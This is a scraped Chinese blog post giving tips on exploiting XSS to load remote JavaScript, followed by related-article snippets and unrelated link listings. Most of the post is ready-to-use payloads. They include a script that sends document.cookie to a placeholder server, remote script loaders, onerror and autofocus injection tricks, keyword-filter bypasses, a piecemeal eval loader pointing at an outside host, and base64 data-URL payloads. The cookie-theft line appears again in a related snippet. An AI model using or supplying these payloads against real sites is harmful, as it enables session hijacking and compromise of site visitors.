在早期 , 对于xss我们是这样利用的

<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>

将 cookie之类的数据传递到自己的服务端
但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。

一个简单的例子

<script src=http://xxx.xxx/a.js></script>

这样更为简洁

<script src=//xxx.xxx/a.js></script>

src属性会自己取当前页面的协议。
过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。

对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

不要忘记 autofocus无须交互即可执行js。

<input autofocus="" onfocus="........" />

过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章

http://drops.wooyun.org/tips/689

或者用String.fromCharCode 函数转换成 asc码
但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值
一个经典的例子

<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>

我们也可以用data url 来加载。

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object><iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>

PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是

<script src=http://xxx.xxx/a.js></script>

的base64值。
支持data url 的标签还有

<anchor>、<img> <a>(需点击) <meta>.....

需注意的是

<img>

里的 data url 是不允许执行js的。
还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对

<frame>

标签的src设置data URL

有时候 我们可以直接调用javascript框架的函数 来实现一些功能。
比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)
我们直接这样调用就可以了

$.getScript("//xxx.xxx/a.js");

实践出真理!

xss如何加载远程js的一些tips的更多相关文章

  1. XSS漏洞之加载远程js文件

    这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly 但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有< ...

  2. xss 加载远程第三方JS

    script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...

  3. springMVC加载远程freemarker模板文件

    在一个大网站里,有很多子域名,也就是有很多子系统,这些子系统由不同的团队负责,对整个网站的风格的风格至少得要是一致的(最基本的页头.页尾必须一致),这个时候得提供一份统一的页头.页尾以及公共的JS.c ...

  4. AIRSDK 3.7 加载远程的含有代码的swf文件

    之前就说这个版本会解决可以加载远程的含有代码的swf文件的需求.但是,一直比较好奇这个是否行得通,还以为 Adobe 副总裁去了苹果,内部给了特殊待遇. 因为苹果一直就是不允许远程加载代码的,像js文 ...

  5. js中取得当前加载的js的src地址

    在很多js框架中看到过,如果要动态加载框架内部的其他js,加载的时候加载的地址经常是一个相对的地址,只能是这样了哦,因为框架根本不知道用此框架的用户,将框架js文件放的具体目录,所以框架中一般会采用如 ...

  6. jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据

    jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...

  7. iOS Cordova 加载远程界面

    老大说,我们的项目要hybrid,要实现1.html能调用native:2.本地html调用本地html界面:3.能加载远程界面..... 因为我的项目是已有的(以下简称 项目),所以是要在已有的项目 ...

  8. 网站加载css/js/img等静态文件失败

    网站加载css/js/img等静态文件失败,报网站http服务器内部500错误.而服务器中静态文件存在且权限正常. 从浏览器中直接访问文件,出来乱码.这种问题原因在于iis中该网站mime配置报错,不 ...

  9. 根据打开页面加载不同Js

    根据打开页面加载不同Js //根据打开页面加载不同JS $(document).ready(function(){ var href = document.URL; /*获取当前页面的URL*/ if ...

随机推荐

  1. mysql中sql语句

    <数据定义语言DDL> 一. create TABLE tableName 创建表 二. alter TABLE tableName 修改表 三. drop TBALE tableName ...

  2. ERROR Shell: Failed to locate the winutils binary in the hadoop binary path

    文章发自:http://www.cnblogs.com/hark0623/p/4170172.html  转发请注明 14/12/17 19:18:53 ERROR Shell: Failed to ...

  3. 关于main函数传参数的问题

    argc是命令行总的参数个数      argv[]是argc个参数,其中第0个参数是程序的全名,以后的参数      命令行后面跟的用户输入的参数,比如:      int   main(int   ...

  4. HTML轉PDF - 使用Pechkin套件

    剛好跟人討論到HTML轉PDF需求,便對工具進行簡單評估以備不時之需. 網路上比較多人推的是WkHtmlToPdf,如果是用.NET開發,已經有人包成NuGet套件,直接搜尋pechkin就可找到,它 ...

  5. TCP粘包/拆包问题

    无论是服务端还是客户端,当我们读取或者发送消息的时候,都需要考虑TCP底层的粘包/拆包机制. TCP粘包/拆包 TCP是个"流"协议,所谓流,就是没有界限的一串数据.大家可以想想河 ...

  6. hdu1003 dp

    题目链接:http://acm.split.hdu.edu.cn/showproblem.php?pid=1003 #include<cstdio> #include<algorit ...

  7. DSP using MATLAB 示例Example3.17

  8. node.js整理 04网络操作

    简介 var http = require('http'); http.createServer(function (req, res) { res.writeHead(200, {'Content- ...

  9. javascript优化--12模式(设计模式)03

    观察者模式 通过创建一个可观察的对象,当发生一个感兴趣的事件时将该事件通告给所有观察者,从而形成松散的耦合 订阅杂志 //发布者对象 var publisher = { subscribers: { ...

  10. soapui中文操作手册(七)----Web Service Sample Project

    REST推理 这份简短的教程将引导您完成架构推断功能. 我们将创建一个新的项目,并添加一个REST服务,而初始WADL文件启动了. 发送请求后,我们就可以使用响应来构建我们的架构. 演示请求 为了演示 ...